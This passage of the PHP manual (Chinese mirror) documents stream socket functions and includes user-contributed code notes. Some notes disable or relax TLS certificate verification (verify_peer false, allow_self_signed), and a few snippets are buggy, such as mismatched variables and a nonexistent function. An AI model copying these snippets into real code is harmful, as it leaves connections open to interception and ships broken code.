        fwrite($fp, "GET /file.php HTTP/1.0\r\n");
        fwrite($fp, "Host: www.server.com\r\n");
        fwrite($fp, "Connection: Close\r\n\r\n");

        stream_set_blocking($fp, TRUE);
        stream_set_timeout($fp,$timeout);
        $info = stream_get_meta_data($fp);

        while ((!feof($fp)) && (!$info['timed_out'])) {
                $data .= fgets($fp, 4096);
                $info = stream_get_meta_data($fp);
                ob_flush;
                flush();
        }

        if ($info['timed_out']) {
                echo "Connection Timed Out!";
        } else {
                echo $data;
        }
}
?>
Dianoga (dianoga7 [at] 3dgo.net) 20-Nov-2006 06:33
I have found that in order to actually stop the socket from timing out the script, you must call stream_get_meta_data and check for a timeout within the loop reading from the socket.

Example:

<?php
$sock = fsockopen($host, 80, $errno, $errstr, 30);
if(!$sock){
    echo "Unable to get server status";
}else{
    $out = "GET /server.php HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";

    fwrite($sock, $out);

    stream_set_blocking($fp, FALSE );
    stream_set_timeout($sock, $timeout);
    $info = stream_get_meta_data($sock);

    while (!feof($sock) && !$info['timed_out']) {
        $file .= fgets($sock, 4096);
        $info = stream_get_meta_data($sock);
    }

    fclose($sock);
?>
alfi_ at yahoo dot com 01-Aug-2006 08:10
If you are using fsockopen() to create a connection, first going to write into the stream and then waiting for the reply (e.g. simulating HTTP request with some extra headers), then stream_set_timeout() must be set only after the write - if it is before write, it has no effect on the read timeout :-(
Noticed at least on PHP/4.3.10
rtfm61 at yandex dot ru 25-Feb-2006 02:41
stream_set_timeout() is not suitable for such files as UNIX-devices (/dev/...), i suggest to use select() instead with desirable timeout value - that works well.
ridera 17-Feb-2005 05:37
I have found it required to add

"stream_set_blocking($fp, FALSE )"

prior to any fgets(), fread(), etc. to prevent the code from hanging up when remote files are called and the response is slow.


Sets write file buffering on the given stream

  • ? stream_set_timeout
  • stream_socket_accept ?
  • PHP Manual
  • Stream 函数
  • Sets write file buffering on the given stream

stream_set_write_buffer

(PHP 4 >= 4.3.0, PHP 5, PHP 7, PHP 8)

stream_set_write_buffer — Sets write file buffering on the given stream

说明

stream_set_write_buffer(resource $stream, int $size): int

Sets the buffering for write operations on the given stream to size bytes.

参数

stream

The file pointer.

size

The number of bytes to buffer. If size is 0 then write operations are unbuffered. This ensures that all writes with fwrite() are completed before other processes are allowed to write to that output stream.

返回值

Returns 0 on success, or another value if the request cannot be honored.

示例

Example #1 stream_set_write_buffer() example

The following example demonstrates how to use stream_set_write_buffer() to create an unbuffered stream.

<?php
$fp = fopen($file, "w");
if ($fp) {
if (stream_set_write_buffer($fp, 0) !== 0) {
// changing the buffering failed
}
fwrite($fp, $output);
fclose($fp);
}
?>

参见

  • fopen() - 打开文件或者 URL
  • fwrite() - 写入文件（可安全用于二进制文件）

User Contributed Notes

MOX 20-Oct-2021 12:56
The stream_set_write_buffer() function has been broken since PHP 4.3.0. As a workaround, I would suggest using a php_user_filter as an output buffer. By using the following class I have measured over 50% performance improvements with scripts that generate large text files by writing them one line at a time:

class my_output_buffer extends php_user_filter
{
    protected static $BUFFER_SIZE = 4096;

    function onCreate( ) {
        $this->bff = [];
        $this->len = 0;
        return true;
    }

    public function filter($in, $out, &$consumed, $closing)
    {
        $rv = PSFS_FEED_ME; /* assume no output */

        /* process input */
        while ($bucket = stream_bucket_make_writeable($in)) {

            /* bucket is too big for the buffer? */
            $space = static::$BUFFER_SIZE - $this->len;

            if ($bucket->datalen >= $space) {
                /* consume data by placing it into internal buffers */
                $this->bff[] = substr($bucket->data, 0, $space);
                $this->len += $space;
                $overflow = substr($bucket->data, $space);
                $ovfl_len = $bucket->datalen - $space;
                $consumed += $bucket->datalen;

                assert($this->len == static::$BUFFER_SIZE);

                /* make one big bucket */
                $bucket->data = implode('', $this->bff);
                $bucket->datalen = static::$BUFFER_SIZE;
                stream_bucket_append($out, $bucket);
                $rv = PSFS_PASS_ON; /* we have output! */

                /* handle overflow */
                $this->bff = [$overflow];
                $this->len = $ovfl_len;
            }
            else {
                /* consume data by placing it into internal buffers */
                $this->bff[] = $bucket->data;
                $this->len += $bucket->datalen;
                $consumed += $bucket->datalen;
            }
        }

        /* stream is closing and we have data? */
        if ($closing && $this->len > 0) {
            /* make one last bucket */
            $data = implode('', $this->bff);
            $bucket = stream_bucket_new($this->stream, $data);
            stream_bucket_append($out, $bucket);
            $rv = PSFS_PASS_ON; /* we have output! */

            /* clear internal buffer */
            $this->bff = [];
            $this->len = 0;
        }

        return $rv;
    }
}

$fp = fopen('foobar.txt', 'w');

/* enable filtering */
stream_filter_register('output.buffer', 'my_output_buffer');
stream_filter_append($fp, 'output.buffer');

/* a lot of small writes */
for ($i = 0; $i < 10000; $i++) {
    fwrite($fp, 'x');
}

fclose($fp);
kevin at bonnevillessei dot com 20-May-2018 12:15
Trying to use stream_set_write_buffer on a local file will always fail according to this note from 2003.

http://grokbase.com/t/php/php-internals/0351gp6xtn/stream-set-write-buffer-does-not-work

Example:

$fp = fopen("localfile.txt", "w");
if (stream_set_write_buffer($fp, 0) !== 0) {
    // changing the buffering failed is always true on local files
}


接受由 stream_socket_server 创建的套接字连接

  • ? stream_set_write_buffer
  • stream_socket_client ?
  • PHP Manual
  • Stream 函数
  • 接受由 stream_socket_server 创建的套接字连接

stream_socket_accept

(PHP 5, PHP 7, PHP 8)

stream_socket_accept — 接受由 stream_socket_server() 创建的套接字连接

说明

stream_socket_accept(resource $socket, ?float $timeout = null, string &$peer_name = null): resource|false

接受由 stream_socket_server() 创建的套接字连接。

参数

socket

需要接受的服务器创建的套接字连接。

timeout

覆盖默认的套接字接受的超时时限。输入的时间需以秒为单位。默认情况下，使用 default_socket_timeout 作为超时时限。

peer_name

如果已选的传输器存在且有效的已连接客户端，则将该值设置为已连接客户端名称（地址）。

Note:

也可以之后通过 stream_socket_get_name() 来确定。

返回值

返回接受套接之后的资源流 或者在失败时返回 false。

更新日志

版本 | 说明
8.0.0 | 现在 timeout 可以为 null。

注释

Warning

该函数不能被用于 UDP 套接字。可以使用 stream_socket_recvfrom() 和 stream_socket_sendto() 来取而代之。

参见

  • stream_socket_server() - 创建 Internet 或 Unix 域服务器套接字
  • stream_socket_get_name() - 获取本地或者远程的套接字名称
  • stream_set_blocking() - 为资源流设置阻塞或者阻塞模式
  • stream_set_timeout() - Set timeout period on a stream
  • fgets() - 从文件指针中读取一行
  • fgetss() - 从文件指针中读取一行并过滤掉 HTML 标记
  • fwrite() - 写入文件（可安全用于二进制文件）
  • fclose() - 关闭一个已打开的文件指针
  • feof() - 测试文件指针是否到了文件结束的位置
  • cURL 函数

User Contributed Notes

Alex Nordenheim 17-Dec-2014 10:37
Note that if you use 0 as timeout, the connection will timeout right away.
Andy at txtNation dot com 10-Oct-2011 09:13
To check if there's a new connection waiting, without blocking, or (when using non-blocking mode) without notices), you can use stream_accept (as opposed to socket_select).

<?php

    class GenericClass {

        protected $resSocket=null;

        function acceptConnections() {

            # check that we still have a resource

            if(is_resource($this->resSocket)) {

                $arrRead=array($this->resSocket);

                $arrWrite=array();

                /** @warning Passing $arrRead,$arrWrite by reference */
                if(stream_select($arrRead,$arrWrite,$arrWrite,0)) {

                    $resConnection=stream_socket_accept($this->resSocket,0);

                    # ... other stuff here
                }
            }
        }
    }
?>
fred dot hakeem dot smith at muslimamerica dot bob dot net 02-Jan-2008 12:33
To whom it may concern, and it may concern you greatly, stream_set_blocking has no effect on stream_socket_accept.
If you want it to return right away, connection or not, use 0 for the timeout parameter.
mickael dot bailly at free dot fr 18-Jul-2006 03:10
this function, compared to the function socket_accept, got an extra argument "timeout".
To make this function wait indefinitelly to incoming connections, just as in socket_accept, set timeout to -1. It works for me with PHP 5.0.4.
leleu256NOSPAM at hotmail dot com 02-Nov-2004 05:58
This code could be very helpfull...

The following code is for the "server". It listen for a message until CTRL-C

<?php
while (true)
{
// disconnected every 5 seconds...
receive_message('127.0.0.1','85',5);
}

function receive_message($ipServer,$portNumber,$nbSecondsIdle)
{
  // creating the socket...
  $socket = stream_socket_server('tcp://'.$ipServer.':'.$portNumber, $errno, $errstr);
  if (!$socket)
  {
    echo "$errstr ($errno)<br />\n";
  }
  else
   {
    // while there is connection, i'll receive it... if I didn't receive a message within $nbSecondsIdle seconds, the following function will stop.
    while ($conn = @stream_socket_accept($socket,$nbSecondsIdle))
    {
     $message= fread($conn, 1024);
     echo 'I have received that : '.$message;
     fputs ($conn, "OK\n");
     fclose ($conn);
    }
    fclose($socket);
  }
}
?>

The following code is for the "client". It send a message, and read the respons...

<?php

send_message('127.0.0.1','85','Message to send...');

function send_message($ipServer,$portServer,$message)
{
  $fp = stream_socket_client("tcp://$ipServer:$portServer", $errno, $errstr);
  if (!$fp)
  {
     echo "ERREUR : $errno - $errstr<br />\n";
  }
  else
  {
     fwrite($fp,"$message\n");
     $response =  fread($fp, 4);
     if ($response != "OK\n")
        {echo 'The command couldn\'t be executed...\ncause :'.$response;}
     else
        {echo 'Execution successfull...';}
     fclose($fp);
  }
}
?>


Open Internet or Unix domain socket connection

  • ? stream_socket_accept
  • stream_socket_enable_crypto ?
  • PHP Manual
  • Stream 函数
  • Open Internet or Unix domain socket connection

stream_socket_client

(PHP 5, PHP 7, PHP 8)

stream_socket_client — Open Internet or Unix domain socket connection

说明

stream_socket_client(
string $address,
int &$error_code = null,
string &$error_message = null,
?float $timeout = null,
int $flags = STREAM_CLIENT_CONNECT,
?resource $context = null
): resource|false

Initiates a stream or datagram connection to the destination specified by address. The type of socket created is determined by the transport specified using standard URL formatting: transport://target. For Internet Domain sockets (AF_INET) such as TCP and UDP, the target portion of the address parameter should consist of a hostname or IP address followed by a colon and a port number. For Unix domain sockets, the target portion should point to the socket file on the filesystem.

Note:

The stream will by default be opened in blocking mode. You can switch it to non-blocking mode by using stream_set_blocking().

参数

address

Address to the socket to connect to.

error_code

Will be set to the system level error number if connection fails.

error_message

Will be set to the system level error message if the connection fails.

timeout

Number of seconds until the connect() system call should timeout. By default, default_socket_timeout is used.

Note: This parameter only applies when not making asynchronous connection attempts.

Note:

To set a timeout for reading/writing data over the socket, use the stream_set_timeout(), as the timeout only applies while making connecting the socket.

flags

Bitmask field which may be set to any combination of connection flags. Currently the select of connection flags is limited to STREAM_CLIENT_CONNECT (default), STREAM_CLIENT_ASYNC_CONNECT and STREAM_CLIENT_PERSISTENT.

context

A valid context resource created with stream_context_create().

返回值

On success a stream resource is returned which may
be used together with the other file functions (such as
fgets(), fgetss(),
fwrite(), fclose(), and
feof()), false on failure.

错误／异常

On failure the error_code and error_message arguments will be populated with the actual system level error that occurred in the system-level connect() call. If the value returned in error_code is 0 and the function returned false, it is an indication that the error occurred before the connect() call. This is most likely due to a problem initializing the socket. Note that the error_code and error_message arguments will always be passed by reference.

更新日志

版本 | 说明
8.0.0 | timeout and context are now nullable.

示例

Example #1 stream_socket_client() example

<?php
$fp = stream_socket_client("tcp://www.example.com:80", $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
fwrite($fp, "GET / HTTP/1.0\r\nHost: www.example.com\r\nAccept: */*\r\n\r\n");
while (!feof($fp)) {
echo fgets($fp, 1024);
}
fclose($fp);
}
?>

Example #2 Using UDP connection

Retrieving the day and time from the UDP service "daytime" (port 13) on localhost.

<?php
$fp = stream_socket_client("udp://127.0.0.1:13", $errno, $errstr);
if (!$fp) {
echo "ERROR: $errno - $errstr<br />\n";
} else {
fwrite($fp, "\n");
echo fread($fp, 26);
fclose($fp);
}
?>

注释

Warning

UDP sockets will sometimes appear to have opened without an error, even if the remote host is unreachable. The error will only become apparent when you read or write data to/from the socket. The reason for this is because UDP is a "connectionless" protocol, which means that the operating system does not try to establish a link for the socket until it actually needs to send or receive data.

Note: 当指定数值型的 IPv6 地址（例如 fe80::1）时必须用方括号将 IP 围起来——例如， tcp://[fe80::1]:80。

Note:

Depending on the environment, the Unix domain or the optional connect timeout may not be available. A list of available transports can be retrieved using stream_get_transports(). See 所支持的套接字传输器列表 for a list of built in transports.

参见

  • stream_socket_server() - 创建 Internet 或 Unix 域服务器套接字
  • stream_set_blocking() - 为资源流设置阻塞或者阻塞模式
  • stream_set_timeout() - Set timeout period on a stream
  • stream_select() - Runs the equivalent of the select() system call on the given arrays of streams with a timeout specified by seconds and microseconds
  • fgets() - 从文件指针中读取一行
  • fgetss() - 从文件指针中读取一行并过滤掉 HTML 标记
  • fwrite() - 写入文件（可安全用于二进制文件）
  • fclose() - 关闭一个已打开的文件指针
  • feof() - 测试文件指针是否到了文件结束的位置
  • cURL 函数

User Contributed Notes

Daniel 12-Sep-2014 08:29
If you only need to check a stream for data, you can use stream_get_content and strtr function. stream_get_content
reads the remainder of a stream into a string.
<?php

$addr = gethostbyname('www.example.com');

$client = stream_socket_client("tcp://$addr:80", $errno, $errorMessage);

 if($client === false){
                throw new UnexpectedValueException("Failed to connect: $errorMessage");
        }

        fwrite($client, "GET / HTTP/1.0\r\nhost:    'www.example.com'\r\nAccept: */*\r\n\r\n");

$variable = stream_get_content($client);

if(strstr($variable,'data your looking for'))
       echo "The data you are looking for is here";
else
       echo "data not found";

fclose($client);
?>
Vasil Rangelov a.k.a. boen_robot 14-Aug-2011 01:11
The remote_socket argument, in its end (well... after the port), can also contain a "/" followed by a unique identifier. This is especially useful if you want to create multiple persistent connections to the same transport://host:port combo.

Example:
<?php
$socket = stream_socket_client('tcp://mysql.example.com:3306/root', $errorno, $errorstr, $timeout, STREAM_CLIENT_CONNECT | STREAM_CLIENT_PERSISTENT);
?>

Note that while (p)fsockopen() follows a similar scheme, it doesn't have this particular feature.
bisho at onirica dot com 29-Mar-2010 09:04
stream_socket_client is much easier and faster to use to direct sockets, because you can use directly fwrite / fget / fclose functions, but I find hard to find how to connect to a UNIX domain socket. The URL to use is "udg:///path/to/socket".

For example, to log to the log socket (like syslog), you can use:

<?php
$socket = stream_socket_client('udg:///dev/log',
        $errorno,
        $errorstr,
        $timeout);
fwrite($socket, ...);
?>
nicholas at nicholaswilliams dot net 28-Oct-2008 05:08
For those wanting to use stream_socket_client() to connect to a local UNIX socket who can't find documentation on how to do it, here's a (rough) example:

<?php

$sock = stream_socket_client('unix:///full/path/to/my/socket.sock', $errno, $errstr);

fwrite($sock, 'SOME COMMAND'."\r\n");

echo fread($sock, 4096)."\n";

fclose($sock);

?>
robin at gareus dot org 26-Aug-2008 03:34
I came here since fsockopen() does not support any SSL certificate checking in PHP5.

while curl is nice, I use stream_socket_client() to make XML-RPC POST requests via HTTPS and since I have not found any PHP code around that does this, I'll attach an example that also includes HTTP-Digest Auth (eg. trac's WikiRPCInterface2):

<?php
#################################################
# $host: hostname ; eg 'example.org'
# $path: request' eg '/index.php?id=123'
# $data_to_send : data to POST after the HTTP header.
#
# if $opts is an  empty array() a standard  HTTP to port 80 request is performed.
#
# set auth['type']='basic' to use plain-text auth,
# digest-auth will be handled automatically if $auth['username'] is set and a 401
# status is encountered. - use auth['type']='nodigest' to override.
#
##
function httpPost($host, $path, $data_to_send,
                  $opts=array('cert'=>"", 'headers'=>0, 'transport' =>'ssl', 'port'=>443),
                  $auth=array('username'=>"", 'password'=>"", 'type'=>"")
                 ) {
  $transport=''; $port=80;
  if (!empty($opts['transport'])) $transport=$opts['transport'];
  if (!empty($opts['port'])) $port=$opts['port'];
  $remote=$transport.'://'.$host.':'.$port;

  $context = stream_context_create();
  $result = stream_context_set_option($context, 'ssl', 'verify_host', true);
  if (!empty($opts['cert'])) {
    $result = stream_context_set_option($context, 'ssl', 'cafile', $opts['cert']);
    $result = stream_context_set_option($context, 'ssl', 'verify_peer', true);
  } else {
    $result = stream_context_set_option($context, 'ssl', 'allow_self_signed', true);
  }
  $fp = stream_socket_client($remote, $err, $errstr, 60, STREAM_CLIENT_CONNECT, $context);

  if (!$fp) {
    trigger_error('httpPost error: '.$errstr);
    return NULL;
  }

  $req='';
  $req.="POST $path HTTP/1.1\r\n";
  $req.="Host: $host\r\n";
  if ($auth['type']=='basic' && !empty($auth['username'])) {
    $req.="Authorization: Basic ";
    $req.=base64_encode($auth['username'].':'.$auth['password'])."\r\n";
  }
  elseif ($auth['type']=='digest' && !empty($auth['username'])) {
    $req.='Authorization: Digest ';
    foreach ($auth as $k => $v) {
      if (empty($k) || empty($v)) continue;
      if ($k=='password') continue;
      $req.=$k.'="'.$v.'", ';
    }
    $req.="\r\n";
  }
  $req.="Content-type: text/xml\r\n";
  $req.='Content-length: '. strlen($data_to_send) ."\r\n";
  $req.="Connection: close\r\n\r\n";

  fputs($fp, $req);
  fputs($fp, $data_to_send);

  while(!feof($fp)) { $res .= fgets($fp, 128); }
  fclose($fp);

  if ($auth['type']!='nodigest'
        && !empty($auth['username'])
        && $auth['type']!='digest' # prev. digest AUTH failed.
        && preg_match("/^HTTP\/[0-9\.]* 401 /", $res)) {
    if (1 == preg_match("/WWW-Authenticate: Digest ([^\n\r]*)\r\n/Us", $res, $matches)) {
      foreach (split(",", $matches[1]) as $i) {
        $ii=split("=",trim($i),2);
        if (!empty($ii[1]) && !empty($ii[0])) {
          $auth[$ii[0]]=preg_replace("/^\"/",'', preg_replace("/\"$/",'', $ii[1]));
        }
      }
      $auth['type']='digest';
      $auth['uri']='https://'.$host.$path;
      $auth['cnonce']=randomNonce();
      $auth['nc']=1;
      $a1=md5($auth['username'].':'.$auth['realm'].':'.$auth['password']);
      $a2=md5('POST'.':'.$auth['uri']);
      $auth['response']=md5($a1.':'
                           .$auth['nonce'].':'.$auth['nc'].':'
                           .$auth['cnonce'].':'.$auth['qop'].':'.$a2);
      return httpPost($host, $path, $data_to_send, $opts, $auth);
    }
  }

  if (1 != preg_match("/^HTTP\/[0-9\.]* ([0-9]{3}) ([^\r\n]*)/", $res, $matches)) {
    trigger_error('httpPost: invalid HTTP reply.');
    return NULL;
  }

  if ($matches[1] != '200') {
    trigger_error('httpPost: HTTP error: '.$matches[1].' '.$matches[2]);
    return NULL;
  }

  if (!$opts['headers']) {
    $res=preg_replace("/^.*\r\n\r\n/Us",'',$res);
  }
  return $res;
}
?>
wbeaver at afilias dot info 31-Aug-2007 02:06
# Some may find it useful to know that your caCert
# must be in pem format, and that PHP seems to like
# your key, cert, and cacert pem's to be concatenated
# in a single file (I suffered various "unknown chain"
# errors, otherwise)
#
# So, (linux users), concat your components as follows:
# (where current working dir is dir where
# cert components are stored)
#
# cat key.pem >certchain.pem
# cat cert.pem >>certchain.pem
# cat cacert.pem >>certchain.pem
#
# Then, the php....
##################################

<?php

$host = 'host.domain.tld';
$port = 1234;
$timeout = 10;

$cert = '/path/to/your/certchain/certchain.pem';
$context = stream_context_create(array('ssl'=>array('local_cert'=> $cert,
)));

if ($fp = stream_socket_client('ssl://'.$host.':'.$port, $errno, $errstr, 30,
        STREAM_CLIENT_CONNECT, $context)) {
    fwrite($fp, "\n");
    echo fread($fp,8192);
    fclose($fp);
} else {
   echo "ERROR: $errno - $errstr<br />\n";
}

?>


Turns encryption on/off on an already connected socket

  • ? stream_socket_client
  • stream_socket_get_name ?
  • PHP Manual
  • Stream 函数
  • Turns encryption on/off on an already connected socket

stream_socket_enable_crypto

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_socket_enable_crypto — Turns encryption on/off on an already connected socket

说明

stream_socket_enable_crypto(
resource $stream,
bool $enable,
?int $crypto_method = null,
?resource $session_stream = null
): int|bool

Enable or disable encryption on the stream.

Once the crypto settings are established, cryptography can be turned on and off dynamically by passing true or false in the enable parameter.

参数

stream

The stream resource.

enable

Enable/disable cryptography on the stream.

crypto_method

Setup encryption on the stream. Valid methods are

  • STREAM_CRYPTO_METHOD_SSLv2_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv3_CLIENT
  • STREAM_CRYPTO_METHOD_SSLv23_CLIENT
  • STREAM_CRYPTO_METHOD_ANY_CLIENT
  • STREAM_CRYPTO_METHOD_TLS_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT
  • STREAM_CRYPTO_METHOD_TLSv1_3_CLIENT (as of PHP 7.4.0)
  • STREAM_CRYPTO_METHOD_SSLv2_SERVER
  • STREAM_CRYPTO_METHOD_SSLv3_SERVER
  • STREAM_CRYPTO_METHOD_SSLv23_SERVER
  • STREAM_CRYPTO_METHOD_ANY_SERVER
  • STREAM_CRYPTO_METHOD_TLS_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_0_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_1_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_2_SERVER
  • STREAM_CRYPTO_METHOD_TLSv1_3_SERVER (as of PHP 7.4.0)

If omitted, the crypto_method context option on the stream's SSL context will be used instead.

session_stream

Seed the stream with settings from session_stream.

返回值

Returns true on success, false if negotiation has failed or 0 if there isn't enough data and you should try again (only for non-blocking sockets).

更新日志

版本 | 说明
8.0.0 | session_stream is now nullable.

示例

Example #1 stream_socket_enable_crypto() example

<?php
$fp = stream_socket_client("tcp://myproto.example.com:31337", $errno, $errstr, 30);
if (!$fp) {
die("Unable to connect: $errstr ($errno)");
}

/* Turn on encryption for login phase */
stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_SSLv23_CLIENT);
fwrite($fp, "USER god\r\n");
fwrite($fp, "PASS secret\r\n");

/* Turn off encryption for the rest */
stream_socket_enable_crypto($fp, false);

while ($motd = fgets($fp)) {
echo $motd;
}

fclose($fp);
?>

以上示例的输出类似于：

参见

  • OpenSSL 函数
    •

  • 所支持的套接字传输器列表
    •

User Contributed Notes

   play dot it at play-it dot net
   04-Nov-2023 11:44

Information to the difference of `crypto_method`

There is `STREAM_CRYPTO_METHOD_*_CLIENT` and `STREAM_CRYPTO_METHOD_*_SERVER`

`STREAM_CRYPTO_METHOD_*_CLIENT` is used for clients, like:

```php

<?php

$client = stream_socket_client("tcp://example.com:443", $errno, $errstr);

stream_socket_enable_crypto($client, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);

//...

?>

```

This code makes a TLS Handshake and the `stream_socket_enable_crypto` sends a `Client HELLO`

`STREAM_CRYPTO_METHOD_*_SERVER` is used for servers, like:

<?php

$server = stream_socket_server("tcp://example.com:443", $errno, $errstr, STREAM_SERVER_BIND | STREAM_SERVER_LISTEN);

stream_context_set_option($server, ["ssl" => [

    "local_cert" => __DIR__."/https.crt",

    "local_pk" => __DIR__."/https.key",

]]);

//...

$client = stream_socket_accept($server);

stream_socket_enable_crypto($client, true, STREAM_CRYPTO_METHOD_TLS_SERVER);

//...

?>

This code makes a TLS Handshake and the `stream_socket_enable_crypto` sends a `Server HELLO` after the client send a `Client HELLO`.

so use `STREAM_CRYPTO_METHOD_*_CLIENT` for requesting data and `STREAM_CRYPTO_METHOD_*_SERVER` for serving data, after accepting a client.

   Zero
   04-Oct-2023 10:53

Since PHP 7.2, TLS equates to TLS_ANY, so STREAM_CRYPTO_METHOD_TLS_CLIENT means any TLS versions.

   Anonymous
   13-Jan-2022 05:20

If you need to change a stream from unencrypted to crypted after unencrypted traffic has been processed, you use the stream-socket-recvfrom function to read instead of fread when reading the unencrypted traffic. Using fread will cause some of the buffer of the initial CLIENT HELLO message to be read into it's buffers causing the SSL handshake to fail in some situations.

   cgy at anymacro dot com
   19-Jul-2018 09:42

$context = stream_context_create();

stream_context_set_option($context, 'ssl', 'allow_self_signed', false);

stream_context_set_option($context, 'ssl', 'verify_peer', false);

stream_context_set_option($context, 'ssl', 'verify_peer_name', false);

$fp = stream_socket_client("unix:///tmp/ssl.sock", $errno, $errstr, 30,STREAM_CLIENT_ASYNC_CONNECT | STREAM_CLIENT_CONNECT,$context);

stream_socket_enable_crypto($fp, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);

错误提示：

PHP Warning:  stream_socket_enable_crypto(): this stream does not support SSL/crypto

   bobe at webnaute dot net
   05-Apr-2016 06:35

Constants added in PHP 5.6 :

STREAM_CRYPTO_METHOD_ANY_CLIENT

STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT

STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT

STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT

STREAM_CRYPTO_METHOD_ANY_SERVER

STREAM_CRYPTO_METHOD_TLSv1_0_SERVER

STREAM_CRYPTO_METHOD_TLSv1_1_SERVER

STREAM_CRYPTO_METHOD_TLSv1_2_SERVER

Now, be careful because since PHP 5.6.7, STREAM_CRYPTO_METHOD_TLS_CLIENT (same for _SERVER) no longer means any tls version but tls 1.0 only (for "backward compatibility"...).

Before PHP 5.6.7 :

STREAM_CRYPTO_METHOD_SSLv23_CLIENT = STREAM_CRYPTO_METHOD_SSLv2_CLIENT|STREAM_CRYPTO_METHOD_SSLv3_CLIENT

STREAM_CRYPTO_METHOD_TLS_CLIENT = STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT|STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT|STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT

PHP >= 5.6.7

STREAM_CRYPTO_METHOD_SSLv23_CLIENT = STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT|STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT|STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT

STREAM_CRYPTO_METHOD_TLS_CLIENT = STREAM_CRYPTO_METHOD_TLSv1_0_CLIENT

PHP bug : https://bugs.php.net/bug.php?id=69195

Commit : https://github.com/php/php-src/commit/10bc5fd4c4c8e1dd57bd911b086e9872a56300a0

STREAM_CRYPTO_METHOD_SSLv23_CLIENT is not safe to use because before php 5.6.7, it means sslv2 or sslv3. So, you should do this :

<?php

$crypto_method = STREAM_CRYPTO_METHOD_TLS_CLIENT;

if (defined('STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT')) {

    $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_2_CLIENT;

    $crypto_method |= STREAM_CRYPTO_METHOD_TLSv1_1_CLIENT;

}

stream_socket_enable_crypto($socket, true, $crypto_method);

?>

   bobe at webnaute dot net
   20-Mar-2015 04:54

There is an error in the description of the third argument:

"If omitted, the crypto_type context option on the stream's SSL context will be used instead."

The name of the context option is "crypto_method", NOT "crypto_type" which is just the name of the argument.

   mark at kinoko dot fr
   06-Nov-2007 11:00

Just to avoid letting you search everywhere why your code doesn't work when using this function to enable crypto as a server, and when using TLS, you have to put the certificate in the "ssl" context, even if you start a TLS, SSLv3, etc.. server.

I had some troubles because of that...

   tigger (AT) tiggerswelt d0t net
   30-May-2007 03:15

As already mentioned above:

stream_socket_enable_crypto is likely to fail/return zero if the socket is in non-blocking mode.

You may either wait some seconds until all neccessary data has arrived or switch temporary to blocking mode:

<?PHP

  stream_set_blocking ($fd, true);

  stream_socket_enable_crypto ($fd, true, STREAM_CRYPTO_METHOD_TLS_CLIENT);

  stream_set_blocking ($fd, false);

?>

This works very fine for me ;-)


获取本地或者远程的套接字名称

  • ? stream_socket_enable_crypto
  • stream_socket_pair ?
  • PHP Manual
  • Stream 函数
  • 获取本地或者远程的套接字名称

stream_socket_get_name

(PHP 5, PHP 7, PHP 8)

stream_socket_get_name — 获取本地或者远程的套接字名称

说明

stream_socket_get_name(resource $socket, bool $remote): string|false

返回给定的本地或者远程套接字连接的名称。

参数

socket

需要获取其名称的套接字连接。

remote

如果设置为 true ，那么将返回 remote 套接字连接名称；如果设置为 false 则返回 local 套接字连接名称。

返回值

套接字连接的名称， 或者在失败时返回 false。

参见

  • stream_socket_accept() - 接受由 stream_socket_server 创建的套接字连接

User Contributed Notes

recycling dot sp dot am at gmail dot com 10-Sep-2010 08:29
Surprisingly, on my Linux system, when connected to a localhost service using IPV4, stream_get_socket_name returns ::1 as the peer or local address. One would expect to get localhost or 127.0.0.1 but the ::1 IPV6 localhost is returned instead.


创建一对完全一样的网络套接字连接流

  • ? stream_socket_get_name
  • stream_socket_recvfrom ?
  • PHP Manual
  • Stream 函数
  • 创建一对完全一样的网络套接字连接流

stream_socket_pair

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

stream_socket_pair — 创建一对完全一样的网络套接字连接流

说明

stream_socket_pair(int $domain, int $type, int $protocol): array|false

stream_socket_pair() 创建一对完全一样的网络套接字连接，这个函数通常会被用在进程间通信（Inter-Process Communication）。

参数

domain

使用的协议族： STREAM_PF_INET, STREAM_PF_INET6 or STREAM_PF_UNIX

type

通信类型: STREAM_SOCK_DGRAM、 STREAM_SOCK_RAW、 STREAM_SOCK_RDM、 STREAM_SOCK_SEQPACKET、 STREAM_SOCK_STREAM

protocol

使用的传输协议: STREAM_IPPROTO_ICMP、 STREAM_IPPROTO_IP、 STREAM_IPPROTO_RAW、 STREAM_IPPROTO_TCP、 STREAM_IPPROTO_UDP

Note: 关于每个常量的更多细节，请查阅 Stream 常量列表。

返回值

成功时将返回一个包含了两个 socket 资源的 array，错误时返回 false。

示例

Example #1 stream_socket_pair() 例子

这个例子展示了 stream_socket_pair() 进程间通信的基本用法。

<?php

$sockets = stream_socket_pair(STREAM_PF_UNIX, STREAM_SOCK_STREAM, STREAM_IPPROTO_IP);
$pid = pcntl_fork();

if ($pid == -1) {
die('could not fork');

} else if ($pid) {
/* 父进程 */
fclose($sockets[0]);

fwrite($sockets[1], "child PID: $pid\n");
echo fgets($sockets[1]);

fclose($sockets[1]);

} else {
/* 子进程 */
fclose($sockets[1]);

fwrite($sockets[0], "message from child\n");
echo fgets($sockets[0]);

fclose($sockets[0]);
}

?>

以上示例的输出类似于：

child PID: 1378
message from child

User Contributed Notes

There are no user contributed notes for this page.


Receives data from a socket, connected or not

  • ? stream_socket_pair
  • stream_socket_sendto ?
  • PHP Manual
  • Stream 函数
